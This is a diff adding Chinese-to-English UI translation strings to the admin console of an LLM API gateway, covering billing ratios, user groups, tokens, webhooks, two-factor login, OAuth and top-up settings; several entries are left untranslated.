+    "Web 搜索 {{count}} 次 * {{symbol}}{{price}} / 1K 次": "Web search {{count}} calls * {{symbol}}{{price}} / 1K calls",
+    "Web 搜索：{{count}} / 1K * 单价 {{price}} * {{ratioType}} {{ratio}} = {{amount}}": "Web search: {{count}} / 1K * unit price {{price}} * {{ratioType}} {{ratio}} = {{amount}}",
+    "Web 搜索调用 {{webSearchCallCount}} 次": "Web search called {{webSearchCallCount}} times",
+    "Webhook 密钥": "Webhook Secret",
+    "Webhook 签名密钥": "Webhook Signature Key",
+    "Webhook地址": "Webhook URL",
+    "Webhook地址必须以https://开头": "Webhook URL must start with https://",
+    "Webhook请求结构说明": "Webhook request structure description",
+    "Webhook通知": "Webhook notification",
+    "Web搜索价格：{{symbol}}{{price}} / 1K 次": "Web Search Price: {{symbol}}{{price}} / 1K requests",
+    "WeChat Server 服务器地址": "WeChat Server Address",
+    "WeChat Server 访问凭证": "WeChat Server Access Credential",
+    "Well-Known URL": "Well-Known URL",
+    "Well-Known URL 必须以 http:// 或 https:// 开头": "Well-Known URL must start with http:// or https://",
+    "whsec_xxx 的 Webhook 签名密钥，敏感信息不显示": "Webhook signature key for whsec_xxx, sensitive information not displayed",
+    "Worker地址": "Worker Address",
+    "Worker密钥": "Worker Key",
+    "一个月": "A month",
+    "一天": "One day",
+    "一小时": "One hour",
+    "一次调用消耗多少刀，优先级大于模型倍率": "How much USD one call costs, priority over model ratio",
+    "一行一个，不区分大小写": "One line per keyword, not case-sensitive",
+    "一行一个屏蔽词，不需要符号分割": "One line per sensitive word, no symbols are required",
+    "一键填充到 FluentRead": "One-click fill to FluentRead",
+    "三种操作的区别：": "Differences between the three operations:",
+    "上一个表单块": "Previous form block",
+    "上一步": "Previous",
+    "上传 PNG/JPG/SVG 图片，建议尺寸 ≤ 128×128px": "",
+    "上传图片": "",
+    "上次保存: ": "Last saved: ",
+    "上次检测到可加入模型": "",
+    "上次检测时间": "",
+    "上游倍率同步": "Upstream ratio synchronization",
+    "上游模型管理": "Upstream Model Management",
+    "上游返回": "Upstream response",
+    "下一个表单块": "Next form block",
+    "下一次重置": "Next reset",
+    "下一步": "Next",
+    "下午好": "Good afternoon",
+    "下载日志": "Download Logs",
+    "下面展示这个模型保存后会写入哪些后端字段，便于和原始 JSON 编辑框保持一致。": "The fields below show which backend values will be written after saving, so you can keep them aligned with the raw JSON editors.",
+    "下面是带注释的示例，仅用于参考；实际保存时请删除注释。": "",
+    "不会出现": "will not appear",
+    "不再提醒": "Do not remind again",
+    "不勾选用户可选": "Not user-selectable",
+    "不升级": "No upgrade",
+    "不变": "unchanged",
+    "不同用户分组的价格信息": "Price information for different user groups",
+    "不填则为模型列表第一个": "First model in list if empty",
+    "不建议使用": "Not recommended",
+    "不支持": "Not supported",
+    "不是合法的 JSON 字符串": "Not a valid JSON string",
+    "不更改": "Not change",
+    "不配置特殊倍率时：": "Without special ratios:",
+    "不配置规则时，所有用户看到的下拉框一样：": "Without rules, all users see the same dropdown:",
+    "不重置": "No Reset",
+    "不重试": "No Retry",
+    "不限": "Unlimited",
+    "不限制": "Unlimited",
+    "与本地相同": "Same as local",
+    "专属倍率": "Exclusive group ratio",
+    "专属分组": "Exclusive group",
+    "两个分组都勾选了「用户可选」，所以用户创建令牌时可以看到这两个选项：": "Both groups have \"User Selectable\" checked, so users can see these two options when creating tokens:",
+    "两次输入的密码不一致": "The two passwords entered do not match",
+    "两次输入的密码不一致！": "The passwords entered twice are inconsistent!",
+    "两步验证": "Two-Factor Authentication",
+    "两步验证（2FA）为您的账户提供额外的安全保护。启用后，登录时需要输入密码和验证器应用生成的验证码。": "Two-factor authentication (2FA) provides additional security protection for your account. After enabling, you need to enter your password and the verification code generated by the authenticator application when logging in.",
+    "两步验证启用成功！": "Two-factor authentication enabled successfully!",
+    "两步验证已禁用": "Two-factor authentication has been disabled",
+    "两步验证设置": "Two-factor authentication settings",
+    "个": "individual",
+    "个GPU": " GPUs",
+    "个人中心": "Personal center",
+    "个人中心区域": "Personal Center Area",
+    "个人信息设置": "Personal information settings",
+    "个人设置": "Personal Settings",
+    "个字段": " fields",
+    "个实例": " instances",
+    "个已过期": "expired",
+    "个性化设置": "Personalization Settings",
+    "个性化设置左侧边栏的显示内容": "Personalize the display content of the left sidebar",
+    "个月": " months",
+    "个未配置模型": "models not configured",
+    "个模型": "models",
+    "个生效中": "active",
+    "个部署吗？此操作不可逆。": " deployments? This operation cannot be undone.",
+    "中午好": "Good afternoon",
+    "为 vip 用户配置规则：": "Configure rules for vip users:",
+    "为一个 JSON 对象，例如：{\"100\": 0.95, \"200\": 0.9, \"500\": 0.85}": "Is a JSON object, e.g.: {\"100\": 0.95, \"200\": 0.9, \"500\": 0.85}",
+    "为一个 JSON 数组，例如：[10, 20, 50, 100, 200, 500]": "Is a JSON array, e.g.: [10, 20, 50, 100, 200, 500]",
+    "为一个 JSON 文本": "Is a JSON text",
+    "为一个 JSON 文本，例如：": "Is a JSON text, e.g.:",
+    "为一个 JSON 文本，键为分组名称，值为倍率": "Is a JSON text with group name as key and ratio as value",
+    "为一个 JSON 文本，键为分组名称，值为分组描述": "Is a JSON text with group name as key and group description as value",
+    "为一个 JSON 文本，键为模型名称，值为一次调用消耗多少刀，比如 \"gpt-4-gizmo-*\": 0.1，一次消耗0.1刀": "Is a JSON text with model name as key and cost per call as value, e.g.: \"gpt-4-gizmo-*\": 0.1, costs $0.1 per call",
+    "为一个 JSON 文本，键为模型名称，值为倍率": "Is a JSON text with model name as key and ratio as value",
+    "为一个 JSON 文本，键为模型名称，值为倍率，例如：{\"gpt-4o-audio-preview\": 16}": "A JSON text with model name as key and ratio as value, e.g.: {\"gpt-4o-audio-preview\": 16}",
+    "为一个 JSON 文本，键为模型名称，值为倍率，例如：{\"gpt-4o-realtime\": 2}": "A JSON text with model name as key and ratio as value, e.g.: {\"gpt-4o-realtime\": 2}",
+    "为一个 JSON 文本，键为模型名称，值为倍率，例如：{\"gpt-image-1\": 2}": "A JSON text with model name as key and ratio as value, e.g.: {\"gpt-image-1\": 2}",
+    "为一个 JSON 文本，键为组名称，值为倍率": "Is a JSON text with group name as key and ratio as value",
+    "为了保护账户安全，请验证您的两步验证码。": "To protect account security, please verify your two-factor authentication code.",
+    "为了保护账户安全，请验证您的身份。": "To protect account security, please verify your identity.",
+    "为什么 default 不勾选「用户可选」？": "Why is default not set as \"User Selectable\"?",
+    "为保证匹配准确，请确保客户端直连本站点（避免反向代理/网关改写 User-Agent）。": "To ensure accurate matching, make sure the client connects directly to this site (avoid reverse proxies/gateways that rewrite User-Agent).",
+    "为特定用户分组配置可用分组的增减规则。「添加」为该分组新增可用分组，「移除」移除默认可用分组，「追加」直接追加分组": "Configure add/remove rules for specific user groups. \"Add\" adds a new selectable group, \"Remove\" removes a default selectable group, \"Append\" directly appends a group",
+    "为空则默认使用服务器地址，多个 Origin 用逗号分隔，例如 https://newapi.pro,https://newapi.com ,注意不能携带[]，需使用https": "If empty, defaults to server address. Multiple Origins separated by commas, e.g.: https://newapi.pro,https://newapi.com. Note: cannot contain [], must use https",
+    "主模型": "Primary Model",
+    "主页链接填": "Enter homepage link",
+    "之前的所有日志": "All previous logs",
+    "二步验证已重置": "Two-factor authentication has been reset",
+    "产品ID": "Product ID",
+    "产品ID已存在": "Product ID already exists",
+    "产品名称": "Product Name",
+    "产品配置": "Product Configuration",
+    "产品配置错误，请联系管理员": "Product configuration error, please contact the administrator",
+    "享受 8 折": "20% off",
+    "什么是分组？": "What are groups?",
+    "仅为使用OpenAI格式的Gemini/Vertex渠道填充thoughtSignature": "Fill thoughtSignature only for Gemini/Vertex channels using the OpenAI format",
+    "仅会覆盖你勾选的字段，未勾选的字段保持本地不变。": "Only selected fields will be overwritten, unselected fields remain unchanged.",
+    "仅供参考，以实际扣费为准": "For reference only, actual deduction shall prevail",
+    "仅保存": "Save Only",
+    "仅修改展示粒度，统计精确到小时": "Only modify display granularity, statistics accurate to the hour",
+    "仅密钥": "Only key",
+    "仅对自定义模型有效": "Only effective for custom models",
+    "仅当前层": "Current level only",
+    "仅当自动禁用开启时有效，关闭后不会自动禁用该渠道": "Only effective when automatic disabling is enabled, after closing, the channel will not be automatically disabled",
+    "仅提交已勾选": "",
+    "仅支持": "Only supports",
+    "仅支持 JSON 对象，必须包含 access_token 与 account_id": "Only JSON objects are supported, must include access_token and account_id",
+    "仅支持 JSON 文件": "Only JSON files are supported",
+    "仅支持 JSON 文件，支持多文件": "Only JSON files are supported, multiple files are supported",
+    "仅支持 OpenAI 接口格式": "Only OpenAI interface format is supported",
+    "仅显示已绑定": "Show bound only",
+    "仅显示矛盾倍率": "Only show conflicting ratios",
+    "仅检测上游模型更新": "",
+    "仅用于开发环境，生产环境应使用 HTTPS": "For development only, use HTTPS in production",
+    "仅用于换算，实际保存的是额度": "For conversion only, quota is what gets saved",
+    "仅用订阅": "Subscription only",
+    "仅用钱包": "Wallet only",
+    "仅管理员可用。开启后，当系统定时检测全部渠道发现上游模型变更或检测异常时，将按你选择的通知方式发送汇总通知；渠道或模型过多时会自动省略部分明细。": "",
+    "仅重置配置": "Reset configuration only",
+    "今日关闭": "Close Today",
+    "今日已签到": "Checked in today",
+    "今日已签到，累计签到": "Checked in today, total check-ins",
+    "仍有未处理项": "",
+    "从 0.5 降到 0.3": "reduced from 0.5 to 0.3",
+    "从剪贴板粘贴配置": "Paste Config",
+    "从官方模型库同步": "Sync from official model library",
+    "从认证器应用中获取验证码，或使用备用码": "Get verification code from authenticator app, or use backup code",
+    "从配置文件同步": "Sync from config file",
+    "从默认列表中去掉一个分组": "Remove a group from the default list",
+    "代理地址": "Proxy address",
+    "代理设置": "Proxy Settings",
+    "代码已复制到剪贴板": "Code copied to clipboard",
+    "令牌": "Tokens",
+    "令牌不存在": "",
+    "令牌分组": "Token Group",
+    "令牌分组，默认为用户的分组": "Token group, default is your group",
+    "令牌分组设为 auto 时，按以下顺序依次尝试选择可用分组，排在前面的优先级更高": "When token group is set to auto, groups are selected in order of priority, with higher priority groups listed first",
+    "令牌分组设为 auto 时，系统按优先级顺序自动选择一个可用分组。": "When token group is set to auto, the system automatically selects an available group by priority.",
+    "令牌创建成功，请在列表页面点击复制获取令牌！": "Token created successfully, please click copy on the list page to get the token!",
+    "令牌名称": "Token Name",
+    "令牌已重置并已复制到剪贴板": "Token has been reset and copied to clipboard",
+    "令牌更新成功！": "Token updated successfully!",
+    "令牌的额度仅用于限制令牌本身的最大额度使用量，实际的使用受到账户的剩余额度限制": "The quota of the token is only used to limit the maximum quota usage of the token itself, and the actual usage is limited by the remaining quota of the account",
+    "令牌端点": "Token Endpoint",
+    "令牌管理": "Token Management",
+    "以下上游数据可能不可信：": "The following upstream data may not be reliable: ",
+    "以下文件解析失败，已忽略：{{list}}": "The following files failed to parse and have been ignored: {{list}}",
+    "以及": "and",
+    "仪表盘设置": "Dashboard",
+    "价格": "Pricing",
+    "价格：{{symbol}}{{price}} * {{ratioType}}：{{ratio}}": "Price: {{symbol}}{{price}} * {{ratioType}}: {{ratio}}",
+    "价格：${{price}} * {{ratioType}}：{{ratio}}": "Price: ${{price}} * {{ratioType}}: {{ratio}}",
+    "价格摘要": "Price Summary",
+    "价格暂时不可用，请稍后重试": "Price temporarily unavailable, please try again later",
+    "价格模式": "",
+    "价格模式（默认）": "Price Mode (Default)",
+    "价格计算中...": "Calculating price...",
+    "价格计算失败": "Price calculation failed",
+    "价格计算失败: ": "Price calculation failed: ",
+    "价格设置": "Price Settings",
+    "价格设置方式": "Pricing configuration method",
+    "价格重新计算中...": "Recalculating price...",
+    "价格预估": "Price Estimate",
+    "任一满足（OR）": "Any match (OR)",
+    "任务 ID": "Task ID",
+    "任务ID": "Task ID",
+    "任务日志": "Task Logs",
+    "任务状态": "Status",
+    "任务记录": "Task Records",
+    "企业账户为特殊返回格式，需要特殊处理，如果非企业账户，请勿勾选": "Enterprise accounts have special return format and require special handling. If not an enterprise account, do not check this option",
+    "优先级": "Priority",
+    "优先订阅": "Subscription first",
+    "优先钱包": "Wallet first",
+    "优惠": "Discount",
+    "低于此额度时将发送邮件提醒用户": "Email reminder will be sent when quota falls below this",
+    "余额": "Balance",
+    "余额充值管理": "Balance recharge management",
+    "作废": "Invalidate",
+    "作废于": "Invalidated at",
+    "作废后该订阅将立即失效，历史记录不受影响。是否继续？": "After invalidation, the subscription becomes invalid immediately. History is not affected. Continue?",
+    "作用域": "Scope",
+    "作用域：包含分组": "Scope: Include Group",
+    "作用域：包含模型名称": "Scope: Include Model Name",
+    "作用域：包含规则名称": "Scope: Include Rule Name",
+    "你似乎并没有修改什么": "You seem to have not modified anything",
+    "你可以在“自定义模型名称”处手动添加它们，然后点击填入后再提交，或者直接使用下方操作自动处理。": "You can manually add them under “Custom model names”, click Fill and submit, or use the actions below to handle them automatically.",
+    "你还没有处理{{type}}模型（{{count}}个）。是否仅提交当前已勾选内容？_one": "",
+    "你还没有处理{{type}}模型（{{count}}个）。是否仅提交当前已勾选内容？_other": "",
+    "使用 {{name}} 继续": "Continue with {{name}}",
+    "使用 Discord 继续": "Continue with Discord",
+    "使用 GitHub 继续": "Continue with GitHub",
+    "使用 JSON 对象格式，格式为：{\"组名\": [最多请求次数, 最多请求完成次数]}": "Use JSON object format, format: {\"group_name\": [max_requests, max_completions]}",
+    "使用 LinuxDO 继续": "Continue with LinuxDO",
+    "使用 OIDC 继续": "Continue with OIDC",
+    "使用 Passkey 实现免密且更安全的登录体验": "Use Passkey for password-free and more secure login experience",
+    "使用 Passkey 登录": "Sign in with Passkey",
+    "使用 Passkey 验证": "Verify with Passkey",
+    "使用 微信 继续": "Continue with WeChat",
+    "使用 用户名 注册": "Sign up with Username",
+    "使用 邮箱或用户名 登录": "Sign in with Email or Username",
+    "使用ID排序": "Sort by ID",
+    "使用分组": "Using Group",
+    "使用原生额度输入": "Use raw quota input",
+    "使用日志": "Usage Logs",
+    "使用模式": "Usage mode",
+    "使用统计": "Usage Statistics",
+    "使用认证器应用（如 Google Authenticator、Microsoft Authenticator）扫描下方二维码：": "Use an authenticator app (such as Google Authenticator, Microsoft Authenticator) to scan the QR code below:",
+    "使用认证器应用扫描二维码": "Scan QR code with authenticator app",
+    "使用说明": "Guide",
+    "例如": "e.g.",
+    "例如 /var/cache/new-api": "e.g. /var/cache/new-api",
+    "例如 €, £, Rp, ₩, ₹...": "For example, €, £, Rp, ₩, ₹...",
+    "例如 https://docs.newapi.pro": "E.g., https://docs.newapi.pro",
+    "例如 https://example.com/api/waffo/webhook": "",
+    "例如 https://example.com/console/topup": "",
+    "例如：": "For example:",
+    "例如: /bin/bash -c \"python app.py\"": "e.g.: /bin/bash -c \"python app.py\"",
+    "例如: nginx:latest": "e.g.: nginx:latest",
+    "例如: socks5://user:pass@host:port": "e.g.: socks5://user:pass@host:port",
+    "例如：-c": "e.g.: -c",
+    "例如：/bin/bash": "e.g.: /bin/bash",
+    "例如：0001": "e.g.: 0001",
+    "例如：1000": "e.g.: 1000",
+    "例如：100000": "e.g.: 100000",
+    "例如：2，就是最低充值2$": "e.g.: 2, means minimum top-up is $2",
+    "例如：2000": "e.g.: 2000",
+    "例如：4.99": "e.g.: 4.99",
+    "例如：401, 403, 429, 500-599": "e.g. 401,403,429,500-599",
+    "例如：7，就是7元/美金": "e.g.: 7, means 7 yuan per USD",
+    "例如：Credit Card": "",
+    "例如：email": "e.g.: email",
+    "例如：example.com": "e.g.: example.com",
+    "例如：github / si:google / https://example.com/logo.png / 🐱": "e.g.: github / si:google / https://example.com/logo.png / 🐱",
+    "例如：GitHub Enterprise": "e.g.: GitHub Enterprise",
+    "例如：github-enterprise": "e.g.: github-enterprise",
+    "例如：gpt-4.1-nano,regex:^claude-.*$,regex:^sora-.*$": "Example: gpt-4.1-nano,regex:^claude-.*$,regex:^sora-.*$",
+    "例如：https://example.com/.well-known/openid-configuration": "e.g.: https://example.com/.well-known/openid-configuration",
+    "例如：https://gitea.example.com": "e.g.: https://gitea.example.com",
+    "例如：https://yourdomain.com": "e.g.: https://yourdomain.com",
+    "例如：name、full_name": "e.g.: name, full_name",
+    "例如：nginx:latest": "e.g.: nginx:latest",
+    "例如：preferred_username、login": "e.g.: preferred_username, login",
+    "例如：preview": "e.g.: preview",
+    "例如：prod_6I8rBerHpPxyoiU9WK4kot": "e.g.: prod_6I8rBerHpPxyoiU9WK4kot",
+    "例如：sub、id、data.user.id": "e.g.: sub, id, data.user.id",
+    "例如：基础套餐": "e.g.: Basic Package",
+    "例如：清理工具参数，避免上游校验错误": "",
+    "例如：该请求不满足准入策略": "e.g.: This request does not meet the admission policy",
+    "例如：适合轻度使用": "e.g.: Suitable for light usage",
+    "例如：需要等级 {{required}}，你当前等级 {{current}}": "e.g.: Required level {{required}}, your current level is {{current}}",
+    "例如（全渠道）：": "Example (all channels):",
+    "例如（指定渠道）：": "Example (specific channels):",
+    "例如发卡网站的购买链接": "E.g., purchase link from card issuing website",
+    "供应商": "Provider",
+    "供应商介绍": "Provider introduction",
+    "供应商信息：": "Provider information:",
+    "供应商创建成功！": "Provider created successfully!",
+    "供应商删除成功": "Provider deleted successfully",
+    "供应商名称": "Provider name",
+    "供应商图标": "Provider icon",
+    "供应商更新成功！": "Provider updated successfully!",
+    "侧边栏管理（全局控制）": "Sidebar Management (Global Control)",
+    "侧边栏设置保存成功": "Sidebar settings saved successfully",
+    "保前缀": "",
+    "保后缀": "",
+    "保存": "Save",
+    "保存 Discord OAuth 设置": "Save Discord OAuth Settings",
+    "保存 GitHub OAuth 设置": "Save GitHub OAuth Settings",
+    "保存 Linux DO OAuth 设置": "Save Linux DO OAuth Settings",
+    "保存 OIDC 设置": "Save OIDC Settings",
+    "保存 Passkey 设置": "Save Passkey Settings",
+    "保存 SMTP 设置": "Save SMTP Settings",
+    "保存 Telegram 登录设置": "Save Telegram Login Settings",
+    "保存 Turnstile 设置": "Save Turnstile Settings",
+    "保存 WeChat Server 设置": "Save WeChat Server Settings",
+    "保存分组倍率设置": "Save group ratio settings",
+    "保存分组相关设置": "Save Group Related Settings",
+    "保存备用码": "Save backup codes",
+    "保存备用码以备不时之需": "Save backup codes for emergencies",
+    "保存失败": "Save failed",
+    "保存失败，请重试": "Save failed, please try again",
+    "保存失败:": "Save failed:",
+    "保存屏蔽词过滤设置": "Save sensitive word filtering settings",
+    "保存性能设置": "Save Performance Settings",
+    "保存成功": "Saved successfully",
+    "保存数据看板设置": "Save data dashboard settings",
+    "保存日志设置": "Save log settings",
+    "保存模型倍率设置": "Save model ratio settings",
+    "保存模型速率限制": "Save model rate limit settings",
+    "保存监控设置": "Save Monitoring Settings",
+    "保存签到设置": "Save check-in settings",
+    "保存绘图设置": "Save drawing settings",
+    "保存聊天设置": "Save chat settings",
+    "保存设置": "Save Settings",
+    "保存通用设置": "Save General Settings",
+    "保存邮箱域名白名单设置": "Save Email Domain Whitelist Settings",
+    "保存预览": "Save Preview",
+    "保存额度设置": "Save Quota Settings",
+    "保留": "kept",
+    "保留最近N个文件": "Retain last N files",
+    "保留最近N天": "Retain last N days",
+    "保留原值（目标已有值时不覆盖）": "Keep original value (do not overwrite if target already has a value)",
+    "保留天数": "Days to Retain",
+    "保留文件数": "Files to Retain",
+    "修复数据库一致性": "Fix database consistency",
+    "修改为": "Modify to",
+    "修改子渠道优先级": "Modify sub-channel priority",
+    "修改子渠道权重": "Modify sub-channel weight",
+    "修改密码": "Change password",
+    "修改绑定": "Modify binding",
+    "修改部署名称": "Change Deployment Name",
+    "倍率": "Ratio",
+    "倍率信息": "Ratio information",
+    "倍率是为了方便换算不同价格的模型": "The magnification is to facilitate the conversion of models with different prices.",
+    "倍率模式": "Ratio Mode",
+    "倍率模式（默认）": "",
+    "倍率用于计费乘数，勾选「用户可选」后用户可在创建令牌时选择该分组": "Ratio is the billing multiplier. Check \"User Selectable\" to let users pick this group when creating tokens",
+    "倍率类型": "Ratio type",
+    "假设再加两个分组 default 和 vip，但不勾选用户可选：": "Now add two more groups default and vip, but without checking User Selectable:",
+    "偏好设置": "Preferences",
+    "停止测试": "Stop Testing",
+    "停止重试": "Stop Retry",
+    "停用": "Deactivate",
+    "允许 AccountFilter 参数": "Allow AccountFilter parameter",
+    "允许 HTTP 协议图片请求（适用于自部署代理）": "Allow HTTP protocol image requests (for self-deployed proxies)",
+    "允许 inference_geo 透传": "Allow inference_geo Pass-through",
+    "允许 safety_identifier 透传": "Allow safety_identifier Pass-through",
+    "允许 service_tier 透传": "Allow service_tier Pass-through",
+    "允许 speed 透传": "Allow speed Pass-through",
+    "允许 stream_options.include_obfuscation 透传": "Allow stream_options.include_obfuscation Pass-through",
+    "允许 Turnstile 用户校验": "Allow Turnstile user verification",
+    "允许不安全的 Origin（HTTP）": "Allow insecure Origin (HTTP)",
+    "允许回调（会泄露服务器 IP 地址）": "Allow callback (will leak server IP address)",
+    "允许在 Stripe 支付中输入促销码": "Allow entering promotion codes during Stripe checkout",
+    "允许新用户注册": "Allow new user registration",
+    "允许的 Origins": "Allowed Origins",
+    "允许的IP，一行一个，不填写则不限制": "Allowed IPs, one per line, not filled in means no restrictions",
+    "允许的端口": "Allowed Ports",
+    "允许访问私有IP地址（127.0.0.1、192.168.x.x等内网地址）": "Allow access to private IP addresses (127.0.0.1, 192.168.x.x and other internal addresses)",
+    "允许通过 Discord 账户登录 & 注册": "Allow login & registration via Discord account",
+    "允许通过 GitHub 账户登录 & 注册": "Allow login & registration via GitHub account",
+    "允许通过 Linux DO 账户登录 & 注册": "Allow login & registration via Linux DO account",
+    "允许通过 OIDC 进行登录": "Allow login via OIDC",
+    "允许通过 Passkey 登录 & 认证": "Allow login & authentication via Passkey",
+    "允许通过 Telegram 进行登录": "Allow login via Telegram",
+    "允许通过密码进行注册": "Allow registration via password",
+    "允许通过密码进行登录": "Allow login via password",
+    "允许通过微信登录 & 注册": "Allow login & registration via WeChat",
+    "允许重试": "Allow Retry",
+    "元": "CNY",
+    "充值": "Top Up",
+    "充值价格（x元/美金）": "Top Up price (x yuan/dollar)",
+    "充值价格显示": "Top Up price",
+    "充值分组倍率": "Top Up group ratio",
+    "充值分组倍率不是合法的 JSON 字符串": "Top Up group ratio is not a valid JSON string",
+    "充值数量": "Top Up quantity",
+    "充值数量，最低 ": "Top Up quantity, minimum",
+    "充值数量不能小于": "The top up amount cannot be less than",
+    "充值方式设置": "Top Up method settings",
+    "充值方式设置不是合法的 JSON 字符串": "Top Up method settings is not a valid JSON string",
+    "充值确认": "Top Up confirmation",
+    "充值账单": "Top Up Bills",
+    "充值金额折扣配置": "Top Up amount discount configuration",
+    "充值金额折扣配置不是合法的 JSON 对象": "Top Up amount discount configuration is not a valid JSON object",
+    "充值链接": "Top Up Link",
+    "充值额度": "Top Up Quota",
+    "先填写配置，再自动填充 OAuth 端点，能显著减少手工输入": "Fill in configuration first, then auto-fill OAuth endpoints to significantly reduce manual input",
+    "先搜索，再一键复制字段名或填入当前规则。字段名为系统内部路径，可直接用于路径 / 来源 / 目标。": "Search first, then copy field names or fill into the current rule with one click. Field names are internal system paths that can be used directly for path / source / target.",
+    "免责声明：仅限个人使用，请勿分发或共享任何凭证。该渠道存在前置条件与使用门槛，请在充分了解流程与风险后使用，并遵守 OpenAI 的相关条款与政策。相关凭证与配置仅限接入 Codex CLI 使用，不适用于其他客户端、平台或渠道。": "Disclaimer: Personal use only. Do not distribute or share any credentials. This channel has prerequisites and requires prior setup; use only if you understand the flow and risks, and comply with OpenAI’s terms and policies. Credentials and configuration are for Codex CLI integration only, and are not intended for any other client, platform, or channel.",
+    "兑换人ID": "Redeemer ID",
+    "兑换成功！": "Redemption successful!",
+    "兑换码充值": "Redemption code recharge",
+    "兑换码创建成功": "Redemption Code Created",
+    "兑换码创建成功，是否下载兑换码？": "Redemption code created successfully. Do you want to download it?",
+    "兑换码创建成功！": "Redemption code created successfully!",
+    "兑换码将以文本文件的形式下载，文件名为兑换码的名称。": "The redemption code will be downloaded as a text file, with the filename being the redemption code name.",
+    "兑换码更新成功！": "Redemption code updated successfully!",
+    "兑换码生成管理": "Redemption code generation management",
+    "兑换码管理": "Redemption Code Management",
+    "兑换额度": "Redeem",
+    "全局控制侧边栏区域和功能显示，管理员隐藏的功能用户无法启用": "Global control of sidebar areas and functions, users cannot enable functions hidden by administrators",
+    "全局设置": "Global Settings",
+    "全选": "Select all",
+    "全选当前列表模型": "",
+    "全部": "All",
+    "全部供应商": "All vendors",
+    "全部分组": "All groups",
+    "全部地区总可用资源": "Total Available Resources in All Regions",
+    "全部填入": "Fill All",
+    "全部容器": "All Containers",
+    "全部展开": "Expand All",
+    "全部收起": "Collapse All",
+    "全部标签": "All tags",
+    "全部模型": "All Models",
+    "全部满足（AND）": "All match (AND)",
+    "全部状态": "All status",
+    "全部硬件总可用资源": "Total Available Hardware Resources",
+    "全部端点": "All endpoints",
+    "全部类型": "All types",
+    "公告": "Announcement",
+    "公告内容": "Notice Content",
+    "公告已更新": "Notice updated",
+    "公告更新失败": "Notice update failed",
+    "公告类型": "Notice Type",
+    "共": "Total",
+    "共 {{count}} 个密钥_one": "{{count}} key",
+    "共 {{count}} 个密钥_other": "{{count}} keys",
+    "共 {{count}} 个模型": "{{count}} models",
+    "共 {{count}} 个模型_one": "{{count}} model",
+    "共 {{count}} 个模型_other": "{{count}} models",
+    "共 {{count}} 条日志_one": "{{count}} log entry",
+    "共 {{count}} 条日志_other": "{{count}} log entries",
+    "共 {{total}} 项，当前显示 {{start}}-{{end}} 项": "{{total}} items total, showing {{start}}-{{end}} items",
+    "关": "Off",
+    "关于": "About",
+    "关于我们": "About Us",
+    "关于系统的详细信息": "Detailed information about the system",
+    "关于项目": "About Project",
+    "关键字(id或者名称)": "Keyword (id or name)",
+    "关闭": "Close",
+    "关闭侧边栏": "Close sidebar",
+    "关闭公告": "Close Notice",
+    "关闭后，此模型将不会被“同步官方”自动覆盖或创建": "After closing, this model will not be automatically overwritten or created by \"Sync Official\"",
+    "关闭后将不再显示此提示（仅对当前浏览器生效）。确定要关闭吗？": "After closing, this notice will no longer be shown (only for this browser). Are you sure you want to close it?",
+    "关闭弹窗，已停止批量测试": "Dialog closed, batch testing stopped",
+    "关闭提示": "Close notice",
+    "其他": "Other",
+    "其他注册选项": "Other registration options",
+    "其他登录选项": "Other login options",
+    "其他设置": "Other",
+    "其他详情": "Other details",
+    "内存 阈值 (%)": "Memory Threshold (%)",
+    "内存使用率超过此值时拒绝请求": "Reject requests when memory usage exceeds this value",
+    "内存命中": "Memory Hits",
+    "内存缓存最大条目数。0 表示使用后端默认容量：100000。": "Maximum entries for in-memory cache. 0 uses the backend default capacity: 100000.",
+    "内容": "Content",
+    "内容较大，已启用性能优化模式": "Content is large, performance optimization mode enabled",
+    "内容较大，部分功能可能受限": "Content is large, some features may be limited",
+    "内置": "Built-in",
+    "内置 Ollama 镜像": "Built-in Ollama Image",
+    "再次输入部署名称": "Enter Deployment Name Again",
+    "最低": "lowest",
+    "最低充值数量": "",
+    "最低充值美元数量": "Minimum recharge dollar amount",
+    "最低充值美元数量必须大于 0": "Minimum recharge dollar amount must be greater than 0",
+    "留空则自动使用当前站点的默认回调地址": "Leave blank to use the default callback address of the current site",
+    "最后使用时间": "Last used time",
+    "最后更新": "Last Updated",
+    "最后请求": "Last request",
+    "最大GPU数量": "Max Number of GPUs",
+    "最大可用": "Max Available",
+    "最大条目数": "Max Entries",
+    "最终抵扣": "Final Deduction",
+    "最近一次": "Last",
+    "最近事件": "Recent Events",
+    "最高优先级": "highest priority",
+    "写": "Write",
+    "准入策略": "Admission Policy",
+    "准入策略 JSON（可选）": "Admission Policy JSON (optional)",
+    "准备中...": "Preparing...",
+    "准备完成初始化": "Ready to complete initialization",
+    "减少": "Subtract",
+    "凭证已刷新": "Credentials Refreshed",
+    "分类名称": "Category Name",
+    "分组": "Group",
+    "分组JSON设置": "Group JSON Settings",
+    "分组与模型定价设置": "Group & Model Pricing",
+    "分组价格": "Group price",
+    "分组倍率": "Group ratio",
+    "分组倍率设置": "Group ratio settings",
+    "分组倍率设置，可以在此处新增分组或修改现有分组的倍率，格式为 JSON 字符串，例如：{\"vip\": 0.5, \"test\": 1}，表示 vip 分组的倍率为 0.5，test 分组的倍率为 1": "Group ratio settings, you can add new groups or modify existing group ratios here, format as JSON string, e.g.: {\"vip\": 0.5, \"test\": 1}, indicating vip group ratio is 0.5, test group ratio is 1",
+    "分组名": "Group",
+    "分组名称": "Group Name",
+    "分组名称到倍率的映射": "Mapping of group names to ratios",
+    "分组描述": "Group Description",
+    "分组是用于控制计费倍率和模型访问权限的核心概念。每个用户属于一个分组，每个令牌也可以指定使用某个分组。": "Groups are a core concept for controlling billing ratios and model access. Each user belongs to a group, and each token can be assigned to a specific group.",
+    "分组特殊倍率": "Group special ratio",
+    "分组特殊可用分组": "Available special groups",
+    "分组相关设置": "Group Related Settings",
+    "分组管理": "Group Management",
+    "分组设置": "Group settings",
+    "分组设置使用说明": "Group Settings Guide",
+    "分组速率配置优先级高于全局速率限制。": "Group rate configuration priority is higher than global rate limit.",
+    "分组速率限制": "Group rate limit",
+    "分钟": "Minute",
+    "切换为Assistant角色": "Switch to Assistant role",
+    "切换为System角色": "Switch to System role",
+    "切换为单密钥模式": "Switch to single key mode",
+    "切换主题": "Switch Theme",
+    "划转到余额": "Transfer to balance",
+    "划转邀请额度": "Transfer invitation quota",
+    "划转金额最低为": "The minimum transfer amount is",
+    "划转额度": "Transfer amount",
+    "列出的模型将不会自动添加或移除-thinking/-nothinking 后缀": "Models in this list will not automatically add or remove the -thinking/-nothinking suffix.",
+    "列设置": "Column settings",
+    "创建": "Create",
+    "创建令牌可选": "Selectable when creating tokens",
